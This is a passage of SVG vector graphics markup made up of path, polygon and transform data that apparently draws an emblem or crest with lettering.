1,.05,2.41l1.67.15a1.61,1.61,0,0,1,.15-1.16,14.41,14.41,0,0,1,4.93-7.9c.81-.48.61.62.81,1a6.44,6.44,0,0,0,4.16,3.66,5.24,5.24,0,0,0,5.17-1.68c.62-1.16,1.39-2.85.33-4a3.26,3.26,0,0,0-2.62-1.25,3.21,3.21,0,0,0-2.63,1.78c0,.39-.06.82.28,1,.19,0,.58,0,.72-.24.1-.72.71-1.06,1.29-1.45a1.49,1.49,0,0,1,1.53.29,2.57,2.57,0,0,1,.67,1.88,2.93,2.93,0,0,1-1.58,2.27,4.86,4.86,0,0,1-4.59-.44,10.17,10.17,0,0,1-1.34-2.12,3.41,3.41,0,0,1,0-2.21,16.07,16.07,0,0,1,6.84-2.41,4.92,4.92,0,0,1,2.54,1.58c2.2,2.27-.48,5.5,1.05,8,.58-.1.58-.87.81-1.35.72-1.73-.19-3.62-.62-5.3A9.74,9.74,0,0,0,190.33,98a1.31,1.31,0,0,1,.58-.09,12,12,0,0,1,2.92,2.5,13,13,0,0,1,1.86,7.91c-.38,1.44-1.91,2.12-3.11,2.65a4.36,4.36,0,0,0-1.29,1.54c.58.33,1.39,0,2-.24.91-.34,1.44-1.5,2.06-2,.09,0,.05.19.09.29,0,.52-.23,1.25.24,1.39a16.72,16.72,0,0,0,.43-2.46,4.66,4.66,0,0,1,.91,2.41c.43.87,1.15,2,2.3,2.17.29-.43-.05-.87-.14-1.25-.15-1.21-1.15-1.83-1.82-2.7-1.68-2.31-.91-5.93-2.2-8.53A10.3,10.3,0,0,0,192.54,98l.19-.19c2.34,0,4.3.72,6.46,1.16,2.63,1.3,6.46,1,7.7,4.43a12.65,12.65,0,0,0,2.73,5.2l.14-.09a2,2,0,0,0,0-1.79c-.29-2.4-2.39-3-3.5-5l.15-.2a33.53,33.53,0,0,1,3.49,1.11c3.83,1.06,6.5,4.82,7,8.72a18.93,18.93,0,0,1-1.77,8.24c-.15.39-.82.82-.39,1.16.53-.39.63-1,.91-1.45a13.37,13.37,0,0,0,1.59-9.68c-.06-.63-.77-1.11-.44-1.73a1.56,1.56,0,0,0,.82.43c.29-.2.72-.2.91-.53s.24-.63,0-.87a1.3,1.3,0,0,0-1.39-.34,2.36,2.36,0,0,0-.58,1.06,9.78,9.78,0,0,0-1.72-2.55l.1-.14c2.15.72,4.11,1.77,6.32,2.36a3.18,3.18,0,0,0,1.67.52,46.46,46.46,0,0,0,5.88,1.5c1.44-.15,2.64.53,4.07.19ZM156,132.07l-.67-.62c.33-.43,1-.19,1.58-.48a8.22,8.22,0,0,1,4.06-.58c-1.44,1.16-3.3,1.3-5,1.68Zm29.87-.76a21.25,21.25,0,0,0,5.1,1.2c-.15.66-1.31,0-1.18,1-1.48-.57-3.21-.86-4.31-2,.1,0,.2-.19.39-.14ZM141,110.82a3.45,3.45,0,0,1,1.15-2.41,4,4,0,0,1,3.78.15,1.8,1.8,0,0,1,.77.91,2.17,2.17,0,0,1-.72,2.17h-.48a5.45,5.45,0,0,1,.28-2.17c0-.58-.52-.62-.9-.87a2.84,2.84,0,0,0-2.16.49,2.16,2.16,0,0,0-.62,2.12c.33.53.05,1.25.24,1.83l-.14.19a3,3,0,0,1-1.2-2.41Zm2.25,1.38c.72.53,1.72.29,2.58.44a1.75,1.75,0,0,1-.24,1.63c-.81-.19-1.86-.1-2.3-.87.1-.33-.13-.81,0-1.2Zm-.14-1.62c.14-.38,0-1,.52-1.06.34-.09.86-.09.91.29a9.18,9.18,0,0,1-.24,1.69,1.09,1.09,0,0,1-1.19-.92Zm22.44,15.47a5.21,5.21,0,0,1,1.53-4.34,2.77,2.77,0,0,1,2.06.1c-1.25.34-2.83.62-3.11,2.22.05.62-.15,1,.14,1.49.52.92,1.72.53,2.39,1.25a.62.62,0,0,1-.43.58,18.89,18.89,0,0,1-2.58-1.3Zm-1.72,3.33c1.15-.49,2.34-1.5,3.63-1.06a6.61,6.61,0,0,1-3.63,1.06Zm4.54.48a35.4,35.4,0,0,1-2.34,4.53c-.1.24-.48.29-.77.34,0-.68.67-1.21,1-1.79,1-1.3,1.3-2.69,2.44-3.95.29.29-.28.48-.28.87Zm1.2-2.8v.19h-.1V127h.19a.33.33,0,0,0-.19,0Zm-.43-1.3a11.55,11.55,0,0,1-2.3-.57c-.48-.49,0-1,0-1.55.67-1.06,2.58-1.59,3.49-.62a5.09,5.09,0,0,1-1.19,2.74Zm1.05,0a8.13,8.13,0,0,1,.76-2,4,4,0,0,1-.76,2Zm.52-3.9c-.62-.15-1-.87-1.62-.87a3.91,3.91,0,0,1,1.81,0c.24.34-.13.63-.19.92Zm.58,1.45h0v-.53h0v.53Zm.05,2.21c-.05-.19.09-.43.14-.67.24-.24.48.19.58.34a.73.73,0,0,1-.72.33Zm.72-3a5.19,5.19,0,0,1,.71-1.78,2.83,2.83,0,0,1,1.29.19c.1,1,1.3,2.27,0,3.09-.43.19-1.05.62-1.53.19a1.33,1.33,0,0,1-.47-1.69Zm3.49-1.35c-.11-.43.42-.09.62-.28l1.48.09c-.77-.09-1.72,1.69-2.1.19Zm2.39.63c-.58.19-1,.87-1.58,1a1.94,1.94,0,0,1,1.58-1Zm-2,3v.14h-.05v-.14Zm.09,2.94c-.05.09,0,.24-.09.34l-1.1-.87a1.13,1.13,0,0,1,1.19.53Zm-1.29-1.49a.35.35,0,0,1,.43,0Zm-.67-.73c.2-.29.43-.72.77-.72a.2.2,0,0,0,.09.14,2.3,2.3,0,0,1-.86.58Zm-1.1-.1h-.19l.29-.28c.14.09-.05.19-.1.28Zm.14,1.83c.63-.67,1.2.39,1.44.92.72,1.06,2.59,2,1.87,3.47-.92.82-2.35.05-3.35.68-.53,0-1.43.09-1.72-.44a28.42,28.42,0,0,1,1.76-4.63Zm-1.33.92.24-.38a20.66,20.66,0,0,1-1.58,3.47c-.29-1.16.91-2.08,1.34-3.09Zm2.1,5.74c-.91.05-2.3.58-3.16-.2.06-.38-.38-.58-.33-1,.76-.29,1.43.63,2.15-.05a19.75,19.75,0,0,1,3.35.1c.53.14,1.34-.87,1.44.14-.39,1.59-2.3.48-3.45,1Zm2.78-6.94v-.15h.09V127Zm.28,3c0,.48.53.68.24,1.11a1.48,1.48,0,0,1-.24-1.11Zm1.34,2.9L178,133c-.23-.19-.14-.72-.09-1,.28.24.53.58.33.92Zm2.39,1.15c0,.15-.28.15-.37,0a25.52,25.52,0,0,1-3-5.78l.19,0c1.15,1.88,2.06,3.95,3.2,5.78Zm1.78-4.43a.19.19,0,0,0-.1.19c-1.39.05-2.3-.77-3.35-1.49l-.05-.24a8.89,8.89,0,0,1,3.5,1.54Zm-1.25-6.41c.57.14.62.77.67,1.25a2.85,2.85,0,0,1-3.49,2.56,3.07,3.07,0,0,0,2.87-1.64l-.05-2.17Zm-1.05-.19a3.21,3.21,0,0,1,.43,2.12c-.48.91-1.44.91-2.3,1.11a1.51,1.51,0,0,1-1.1-.35.48.48,0,0,0-.19-.48c.15-.62-1.1-1.25-.24-1.78.76-.72,2.59-2.36,3.4-.62Zm21.58-15a3.34,3.34,0,0,1,2.78.1,2.15,2.15,0,0,1,1.58,1c.71.67.52,1.87.38,2.74a2.75,2.75,0,0,1-2.06,1.64c0-1.16,1.1-2,.72-3.28a2.89,2.89,0,0,0-3-1c-.43.29-.24.77-.38,1.21l-.19,1.58c-1,0-1-.86-1.3-1.54a2.83,2.83,0,0,1,1.49-2.51Zm.87,4.34c.52-.53-.15-3.56,1.33-1.59,0,.39.05,1-.33,1.26s-.62.57-1,.33Zm.52,1.21c0,.77-.67.57-1.05.87h-1.15a2.63,2.63,0,0,1-.15-1.35,9.35,9.35,0,0,1,2.35.48Zm-48,.14a81.5,81.5,0,0,1,11.05-1.68c4.31,0,8.71-.29,12.83.43,1.34,0,2.49.38,3.78.48,2.68.34,5.17,1.07,7.89,1.25a13.1,13.1,0,0,0,1.44.25c4.31.67,9.14,1.87,13.25,0,0,1.73-.71,3.32-1,5-.39.48,0,1.25-.53,1.68,0,.87-.72,1.3-1.33,1.64-5.7,1.25-11.3-.67-16.8-1.64-7.71-1.68-16.7-2.16-24.55-.38-3.68.67-7.27,1.54-10.81,2.55-2.21.29-4.6.63-6.7,0-1.72-.83-1-3-1.53-4.58a25.89,25.89,0,0,0-.39-3.33,2.85,2.85,0,0,1-.19-1.25,20.63,20.63,0,0,1,2.2.82c4,.77,7.61-.53,11.34-1.21Zm51.68-34.21c0-.1-.19-.15-.14-.29,1.72-.44,3.2-1.45,4.93-1.88h0l.19.57-.1,1.6Zm0-4a5.87,5.87,0,0,0,.86-1.3c.05-.48-.19-.67-.48-1,.34-.34.87-.24,1.3-.34a5.41,5.41,0,0,1,2.67,3.19,33,33,0,0,1-5.83,2.16h0a17.8,17.8,0,0,1,1.48-2.7Zm-17-11.4c1.53,2.54,3.44,5.44,6.28,6.39,1.53,1.25,3.45,2.75,5.5,1.64,1.1-.34,1.2,1.21,1.73,1.83.57,1.79-.73,3-.82,4.68l-.07.15a1.91,1.91,0,0,1-1.12,1,11.28,11.28,0,0,1-2.2.63c-6.23,2.41-12.68,5-17.61,9.88a5.65,5.65,0,0,0,.47-2,4,4,0,0,0-.52-2.11,3.19,3.19,0,0,1-.36-1.27l6-3.81c1.52-.7,2.62-3,2.62-5.57l0-15.73.08,4.37Zm-1,11.7a5.79,5.79,0,0,1-2.17,4.45l-12.57,8h-.07a1.54,1.54,0,0,1-1,.34,1.56,1.56,0,0,1-1-.36l-12.55-8a5.75,5.75,0,0,1-2.16-4.45V69.46a.24.24,0,0,0,.38,0c1.25-.83.86-2.66.86-3.91.29-1.5-.76-2.21-1.19-3.52a.12.12,0,0,1-.05,0V51h5.21a4.22,4.22,0,0,0,1.15.5l.36-.5h24.75V75.89ZM154.59,57.57a3.93,3.93,0,0,1,1.63-2.75.55.55,0,0,1,.24.34h0v5.25c-.46-.93-2.36-1.64-1.88-2.84Zm9.18,31.86a90.86,90.86,0,0,0-15.88-9.61c.5-1.43.93-2.6,1.05-2.83a8.28,8.28,0,0,0,.29-2.22,9.34,9.34,0,0,0,.29-3.27A22.61,22.61,0,0,1,151,67c.29-.73.53-1.5.81-2.22a7.45,7.45,0,0,1,1-2.51c1.48.94,2.92,1,3.7,2.48l0,10.78c0,2.6,1.1,4.87,2.62,5.57l5.19,3.3c.07,1.66-1,3.14-.53,4.91v.1Zm7.37,10.06A34.79,34.79,0,0,0,165,90.68c-.1-.44-.53-.82-.29-1.3a3.52,3.52,0,0,0,.62-3.66c-.09-.25-.37-.54-.33-.78l-.4-.32,7.32,4.64a1.54,1.54,0,0,0,2.2.13l2.48-1.57c-1.81,2.69,1.13,6.62-1.17,9.17v.19c-.67.87-1,1.74-1.91,2.31-1.15-.48-1.58-1.78-2.25-2.74-1.06-1-1.06-3.09-.44-4.48.44-1.4-.28-2.6-.42-3.86l-.48-.28a5.54,5.54,0,0,0-.67,5.63c.48.87.53,2.08,1.24,2.8a15.6,15.6,0,0,0,2.06,3.57c.19.48-.29.57-.53.81-.52-.33-.43-1.11-.91-1.45Zm3.21,5.4c-.19.58-.58,1.06-.52,1.69l-.2.1c.14-.73-.57-1.16-.38-1.93-.38-.58-.38-1.3-.72-1.93s.38-1.1.72-1.63c.67.28.91.91,1.38,1.49.29.82-.33,1.44-.28,2.21Zm-.29-4.62a16.06,16.06,0,0,0,3.4-7c.34-.24.1-.86.43-1.16-.09-.76.43-1.53.05-2.16.3-1.06-1.4-2-.31-2.7l-.22.1,3.05-1.93a6.65,6.65,0,0,0-.37,4.05c.15.86.86,1.88.2,2.64-2.3,2.8-3.6,6.17-5.13,9.36-.57-.1-.86-.63-1.1-1.16Z" transform="translate(-23 -22)"/><path class="cls-1" d="M226.27,101.86a7.3,7.3,0,0,0-6.94,2.26c-.1.1-.05.25.09.34a1.3,1.3,0,0,0,.63-.14c2.39-.1,4.74-.53,6.41-2,.09-.24-.19-.29-.19-.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.79,103.93c.54-.24,1-.63.78-1.3a.91.91,0,0,0-1.49-.29c-.15.24-.48.44-.34.82a1.38,1.38,0,0,0,1,.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.88,103.26c.09.29.29.67.62.72a.94.94,0,0,0,.86-.25,1,1,0,0,0,.24-1c-.28-.44-.71-.39-1.1-.39a1,1,0,0,0-.62.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M119,106.19v-.33c-1.82-1.3-3.25-3.23-5.65-3.23-.28.1,0,.29,0,.43a6.49,6.49,0,0,1,2.54,2.42,3.71,3.71,0,0,0,3.11.71Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.87,102.63a8.86,8.86,0,0,0-4.26,4.58c.29.33.58-.15.91-.15,2-.72,2.92-2.74,4-4.38a1.53,1.53,0,0,0-.67-.05Z" transform="translate(-23 -22)"/><path class="cls-1" d="M128.9,103.64c.24.29.43.58.81.53.34-.29.72-.38.67-.91a1,1,0,0,0-1-.53c-.23.24-.67.43-.47.91Z" transform="translate(-23 -22)"/><path class="cls-1" d="M239.57,103.55l-.24-.29c-1.53.62-2.49,2.26-3.16,3.71-.24.43-.81.91-.57,1.39,1.53-.24,2.34-1.49,3.3-2.6.43-.67.24-1.59.67-2.21Z" transform="translate(-23 -22)"/><path class="cls-1" d="M102.72,104.08a.9.9,0,0,0,.38,1.15,1.11,1.11,0,0,0,1.1-.19.93.93,0,0,0,0-1.06c-.33-.58-1.19-.34-1.48.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M100.33,104.17a.94.94,0,0,0-.48,1,1,1,0,0,0,1.1.63,1.1,1.1,0,0,0,.67-.58c0-.24-.09-.44-.14-.67a1,1,0,0,0-1.15-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M105.3,105.42c.39.39.78.88,1.45.58.57-.09.47-.77.37-1.15a1.32,1.32,0,0,0-1.24-.39,1.11,1.11,0,0,0-.58,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M114.07,105.09a1.87,1.87,0,0,0-.68.53c-.29.33.24.57.34.86.24,0,.67.15.91-.09s.28-.58.33-.92c-.19-.38-.62-.23-.9-.38Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.34,106.05a1.28,1.28,0,0,0,1.11.53c.38,0,.57-.43.71-.77-.09-.53-.71-.72-1.19-.72s-.81.43-.63,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.41,106.05a1.05,1.05,0,0,0-2.06.1,1.15,1.15,0,0,0,1.48.72c.2-.15.63-.43.58-.82Z" transform="translate(-23 -22)"/><path class="cls-1" d="M240,105.57c-.29.29-.63.62-.2,1a1.12,1.12,0,0,0,1.15.2,1,1,0,0,0,.43-.82c-.14-.58-1-.63-1.38-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M101.81,106.3a.89.89,0,0,0-.47,1,1.09,1.09,0,0,0,1,.68,1,1,0,0,0,.57-1.21,1.09,1.09,0,0,0-1.15-.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.34,108.56a1.06,1.06,0,0,0,.67-1.26.93.93,0,0,0-1.62-.09c-.38.24-.14.77.05,1a1,1,0,0,0,.9.34Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.7,107.21c-.29.1-.38.29-.63.48-.13.43.15.72.39,1s.53.15.71,0c.16-.29.73-.39.53-.92-.28-.28-.47-.77-1-.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M243.3,108.17a1.09,1.09,0,0,0-1.1-.67c-.33.1-.38.34-.67.53,0,.43,0,.82.43,1.06a1.27,1.27,0,0,0,1.1-.2c.05-.24.34-.38.24-.72Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.06,112.46v-.38a12.81,12.81,0,0,0-3-2.56c0-.29.34-.14.53-.19.38-.14.91-.44.71-1a1.61,1.61,0,0,0-.71-.68c-.39-.1-.57.19-.86.25-.82.57.52,1-.1,1.73-.86,0-2-.19-2.63.43.38.34,1,.34,1.29.58a6.45,6.45,0,0,0,4.74,1.83Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219,108.22c-.14.48.24.77.49,1.11a1,1,0,0,0,1.05-.2c0-.23.33-.52.24-.77a1,1,0,0,0-1.78-.14Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.77,110.05c0-.72-.9-1-1.43-.58,0,.25-.29.44-.24.78a1,1,0,0,0,.87.57c.47,0,.66-.33.8-.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.68,112.94c-.19.43-1,1-.81,1.4a4.92,4.92,0,0,0,3.83-3.18c.23-.67,1-1.06,1-1.73h-.29c-1.38,1-2.92,1.87-3.68,3.51Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.85,109.67c-.2.38-.44.77-.06,1.15.25.2.58.53,1,.39a1.26,1.26,0,0,0,.82-1.11c-.39-.53-1.2-1-1.77-.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M221.29,109.86c-.33,0-.43.43-.67.68a1.05,1.05,0,0,0,.63.86c.14,0,.37-.05.47.1a1.18,1.18,0,0,0,.86-1.06c-.14-.58-.86-.63-1.29-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.06,110.39c-.33-.29-.47-.72-1-.53-.23.24-.66.53-.57,1a.93.93,0,0,0,.91.58,1,1,0,0,0,.71-1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M126.6,110.82c.14.39.53.49.86.58a1.13,1.13,0,0,0,.91-.82,1,1,0,0,0-1.1-.72c-.33.24-.72.48-.67,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.44,114.73c.1-.35-.33-.58-.57-.78a9.45,9.45,0,0,0-2.72-3.51c-.39-.15-.87-.68-1.3-.24a9.86,9.86,0,0,0,2.49,3.85c.72.15,1.34,1,2.1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.2,111.93c.43.1,1.06.19,1.34-.29a1.15,1.15,0,0,0,.1-1.06c-.33-.14-.58-.43-.91-.38s-.76.24-.91.62.15.82.38,1.11Z" transform="translate(-23 -22)"/><path class="cls-1" d="M131.86,111.5c-.29.29-.81.38-.57,1a.93.93,0,0,0,1.15.58c.48-.24.38-.82.33-1.2-.29-.24-.52-.44-.91-.34Z" transform="translate(-23 -22)"/><path class="cls-1" d="M222.44,115l-1.34-1.45c-.48-.14-.82-1-1.3-.58a.41.41,0,0,0,.2.49c.81,2.16,1.29,4.33,3.45,5.87h.18c.29-.24-.09-.57.05-.91a7,7,0,0,0-1.24-3.42Z" transform="translate(-23 -22)"/><path class="cls-1" d="M136.69,112.94c-1.48-.19-2.81.49-4.21.92a.39.39,0,0,0-.24.43c2.21,1.3,4.89.49,6.8-.86,0,0-.1-.05,0-.1l-2.3-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M121.86,117.42c.48.29.72-.24,1.1-.38,2-.48,3.49-2.46,5.12-3.47v-.38c-2.53.24-5.36,1.63-6.22,4.23Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.62,115.74c-.24-.39-.58-.39-1-.48-.24.14-.57.19-.71.53s0,.77.43,1a.65.65,0,0,0,.9,0,.77.77,0,0,0,.39-1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M215.64,116a.49.49,0,0,0-.61,0,10.47,10.47,0,0,0-4.89.24c-.24.24-.72.1-.76.48,1.43.39,2.92,1.16,4.54.58a2.65,2.65,0,0,0,1.72-1.25Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.51,118.15c.38-.15.43-.58.57-.77a1,1,0,0,0-1-.82c-.28.09-.67.19-.76.53s.09.57.19.87a1,1,0,0,0,1,.19Z" transform="translate(-23 -22)"/><path class="cls-1" d="M129.8,117c-.24.14-.57.19-.67.44a1.13,1.13,0,0,0,.15,1,1.06,1.06,0,0,0,1,.34,1.77,1.77,0,0,0,.66-.92c-.19-.38-.61-.87-1.1-.82Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.08,117.76c-.14.34-.62.58-.33,1,.14.24.23.62.57.67a.81.81,0,0,0,1.05-.19,1.2,1.2,0,0,0,.33-.92,1,1,0,0,0-1.62-.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.86,119.5c.57.23.76-.39,1-.63.1-.2,0-.43-.1-.68-.24-.14-.53-.52-.95-.38a.92.92,0,0,0-.58,1.3c.15.1.29.48.58.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.89,119a1.29,1.29,0,0,0-.58,1.39c.2.63.87.63,1.39.53a1.28,1.28,0,0,0,.48-1.3,1.15,1.15,0,0,0-1.29-.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.89,123.3v.25c.77.48,1.53-.25,2.3-.39,1.34-.77,1.62-2.41,1.72-3.76-1.2,1.35-3,2.46-4,3.9Z" transform="translate(-23 -22)"/><path class="cls-1" d="M210.14,119.83a1,1,0,0,0-.62.53c-.14.34-.1.82.24,1s.86.29,1.15,0,.48-.48.28-.77a1.31,1.31,0,0,0-1.05-.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M137.37,126.54c-.39-1.21,0-2.7-.68-3.81.05-.29-.33-.29-.23-.63a13.06,13.06,0,0,0-1.82-2,.27.27,0,0,0-.34.1c.48,1.69.34,3.62,1.39,5.06.52.49.86,1.4,1.68,1.31Z" transform="translate(-23 -22)"/><path class="cls-1" d="M212.49,120.32c-.24.24-.63.38-.48.86a1.8,1.8,0,0,0,.91.44c.24-.24.67-.34.67-.73a.79.79,0,0,0-1.1-.57Z" transform="translate(-23 -22)"/><path class="cls-1" d="M216.22,120.94c-.19,1.93,1.19,3.33,2.58,4.58H219c.25.1.29-.19.29-.33,0-2-1.48-3.19-2.78-4.3l-.28,0Z" transform="translate(-23 -22)"/><path class="cls-1" d="M214.54,123c-.23.24-.76.48-.71,1,.09.72.9.77,1.43.63a1.11,1.11,0,0,0,.43-.92,1,1,0,0,0-1.15-.67Z" transform="translate(-23 -22)"/><path class="cls-1" d="M208.8,128.7c1.25-1.35,3.06-2.26,3.73-4-.14-.38.63-.91-.14-1A6.73,6.73,0,0,0,208.7,128c0,.19-.14.58.1.72Z" transform="translate(-23 -22)"/><path class="cls-1" d="M214.4,126.43a1.42,1.42,0,0,0,1.06.54c.23-.25.66-.44.66-.87a1,1,0,0,0-1.1-.53c-.28.24-.67.38-.62.86Z" transform="translate(-23 -22)"/><path class="cls-1" d="M166.33,41h14.19a1.19,1.19,0,0,0,0-2.38H166.33a1.19,1.19,0,0,0,0,2.38Zm13.73-2h.52c1,0,.93,1.68,0,1.68-.75,0-1.92-1.68-.53-1.68Zm-5.82,0h1.39c.74,0,2.06,1.68.67,1.68h-1.38c-.75,0-2.07-1.68-.68-1.68Zm-5.81,0h1.39c.74,0,2.05,1.68.66,1.68h-1.39c-.73,0-2.05-1.68-.66-1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M180.38,62.67,179.27,67l2.72-1,2.66,1-.81-4.31,1.87.51L185,60.86l.72-2.42-2.11.44,1.05-4-2.66,1-2.72-1,1,4-2.07-.34.58,2.32-.58,2.42,2.17-.61ZM182,59c.67,1.55,2-.09,2,1.55,0,.73-.05,1.57-.67,1.57H181.1c-1,0-1-.65-1-1.62,0-1.4,1.34-.19,1.83-1.5Z" transform="translate(-23 -22)"/><path class="cls-1" d="M182.09,60.81c.61,0,1.46.42,1.46-.21,0-.88-.85-.58-1.46-.58s-1.47-.3-1.47.58c0,.63.84.21,1.47.21Z" transform="translate(-23 -22)"/><polygon class="cls-1" points="150.88 37.79 151.1 37.39 150.63 37.43 150.36 36.94 150.08 37.44 149.61 37.39 149.83 37.79 149.47 38.16 149.93 38.25 149.93 38.76 150.36 38.44 150.78 38.76 150.78 38.25 151.24 38.16 150.88 37.79 150.88 37.79"/><polygon class="cls-1" points="147.82 40.96 147.82 41.47 148.25 41.15 148.68 41.47 148.68 40.96 149.14 40.88 148.78 40.5 149 40.1 148.53 40.14 148.25 39.65 147.97 40.15 147.51 40.1 147.72 40.5 147.37 40.88 147.82 40.96 147.82 40.96"/><polygon class="cls-1" points="151.3 40.16 150.94 40.53 151.39 40.62 151.39 41.12 151.82 40.8 152.25 41.12 152.25 40.62 152.7 40.53 152.36 40.16 152.58 39.75 152.1 39.79 151.82 39.31 151.54 39.8 151.08 39.75 151.3 40.16 151.3 40.16"/><polygon class="cls-1" points="152.48 42.37 152.21 42.39 152.06 42.12 151.9 42.4 151.63 42.37 151.76 42.6 151.56 42.81 151.82 42.86 151.82 43.15 152.06 42.97 152.3 43.15 152.3 42.86 152.55 42.81 152.36 42.6 152.48 42.37 152.48 42.37"/><polygon class="cls-1" points="150.52 43.12 149.71 43.18 149.23 42.35 148.75 43.2 147.96 43.12 148.33 43.81 147.72 44.45 148.5 44.59 148.5 45.46 149.23 44.91 149.97 45.46 149.97 44.59 150.75 44.45 150.14 43.81 150.52 43.12 150.52 43.12"/><polygon class="cls-1" points="147.15 10.11 146.88 14.58 150.19 11.58 153.49 14.58 153.22 10.11 157.61 9.38 153.97 6.8 156.14 2.89 151.88 4.15 150.19 0 148.51 4.15 144.23 2.89 146.4 6.8 142.77 9.38 147.15 10.11 147.15 10.11"/><path class="cls-1" d="M152.2,117.05l.63,2.66a1.49,1.49,0,0,0,1,1.28,3.47,3.47,0,0,0,2,0,3.11,3.11,0,0,0,1.73-1,2.27,2.27,0,0,0,.17-1.67l-.6-2.53c-.13-.53.07-.67.58-.86l0-.2-2.09.5,0,.2c.82-.17,1,.08,1.12.56l.57,2.44a1.54,1.54,0,0,1-1.28,2.13c-1.37.32-1.62-.77-1.73-1.23l-.63-2.65c-.16-.71.13-.78.75-1l-.05-.2-3.21.77.05.2c.54-.08.79-.12.95.55Z" transform="translate(-23 -22)"/><path class="cls-1" d="M160.55,117.55l.7.11c.67.11,1.16.2,1.28.73,0,.11.15.91-1,1.16a2,2,0,0,1-2.34-1.27l-.27.06.43,2,.28-.07c0-.13,0-.29.23-.33a9.12,9.12,0,0,0,1.69-.09c1.75-.4,2.14-1.5,2-2.2a1.68,1.68,0,0,0-1.37-1.24l-1.53-.27c-.88-.16-1.1-.29-1.19-.72s.36-.88.86-1a2,2,0,0,1,2.18,1.06l.27-.06-.38-1.73-.28.06c0,.16,0,.29-.26.34a8.66,8.66,0,0,0-1.55.07c-1.81.4-1.86,1.56-1.75,2s.23,1.06,2,1.36Z" transform="translate(-23 -22)"/><path class="cls-1" d="M164.05,115.18c.07-1.33,1.07-1.46,1.74-1.56l.41,4.3c.07.68-.17.72-.87.84l0,.2,3.47-.33,0-.21c-.73,0-1,0-1-.65l-.41-4.3c.67,0,1.68-.09,2,1.19l.28,0-.18-1.64-5.83.56.13,1.65.28,0Z" transform="translate(-23 -22)"/><path class="cls-1" d="M173.52,118.36c-.65-.09-.86-.12-.85-.77l0-1.61H173l2,2.6,1.83,0h0l2,.24,0-.2c-.33-.06-.79-.14-.76-.45a5.59,5.59,0,0,1,.56-1l2.18.28a4.09,4.09,0,0,1,.31,1.13c0,.27-.21.26-.82.22l0,.21,3.14.39,0-.21c-.46,0-.58-.33-.91-1.25l-1.63-4.55-.28,0-2.69,4.18c-.35.54-.53.79-1,.82a.43.43,0,0,1-.31-.16l-1.91-2.36c.53-.13,1.54-.37,1.55-1.38,0-1.37-2-1.48-2.72-1.49l-3.14-.06v.2c.55,0,.85.07.84.78l-.07,3.61c0,.67-.21.69-.87.74v.21l3.29.06v-.2Zm6.37-3.3.73,2.1-1.88-.24,1.15-1.86Zm-7.14-1.43c.05-.25.07-.34.61-.34a1,1,0,0,1,1.16,1.21c0,1.06-.53,1.24-1.81,1.22l0-2.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M189.75,118.85l-.29,0a2.38,2.38,0,0,1-2.71,1.13c-.64-.12-.84-.22-.77-.61l.69-3.8c.13-.71.42-.66,1.1-.57l0-.19-3.35-.62,0,.2c.43.1.82.19.72.72l-.7,3.91c-.1.49-.39.46-.93.41l0,.21,5.55,1,.73-1.76Z" transform="translate(-23 -22)"/><path class="cls-1" d="M189.36,120.73l3.34.7,0-.2c-.51-.14-.89-.24-.79-.76l.81-3.88c.11-.54.57-.46,1-.38l.05-.19-3.35-.71,0,.2c.43.12.88.23.77.76l-.81,3.88c-.1.49-.48.45-1,.38l0,.2Z" transform="translate(-23 -22)"/><path class="cls-1" d="M192.91,121.41l0,.2,2,.21,0-.21c-.33,0-.8-.12-.77-.42a4.88,4.88,0,0,1,.54-1l2.19.22a4.28,4.28,0,0,1,.33,1.13c0,.27-.2.26-.81.24l0,.2,3.15.33,0-.2c-.47,0-.6-.33-.94-1.25l-1.73-4.5-.27,0L194,120.56c-.35.58-.51.84-1,.85Zm3-3.42.78,2.08-1.89-.2,1.11-1.88Z" transform="translate(-23 -22)"/><path class="cls-1" d="M171.48,57.26v.58a.28.28,0,0,0,.27.28h2.09a.29.29,0,0,0,.28-.28v-.63a1.3,1.3,0,0,0,.42-1c0-2-1.11-.12-1.72-1.8-.44,1.42-1.77.23-1.77,1.75a1.2,1.2,0,0,0,.43,1.1Zm1.23-1.71c.57,0,1.47-.21,1.47.75,0,.68-.78.29-1.35.29s-1.35.39-1.35-.29c0-1,.66-.75,1.23-.75Z" transform="translate(-23 -22)"/><path class="cls-1" d="M191.66,80.36a.8.8,0,1,0,0-1.59.8.8,0,1,0,0,1.59Z" transform="translate(-23 -22)"/><path class="cls-1" d="M187.42,52.53a.45.45,0,0,0,.43-.47s-.43-.85-.43-.85a4.75,4.75,0,0,0-.43.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M158.52,52.53a.45.45,0,0,0,.43-.47s-.44-.85-.44-.85a4.8,4.8,0,0,0-.42.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" 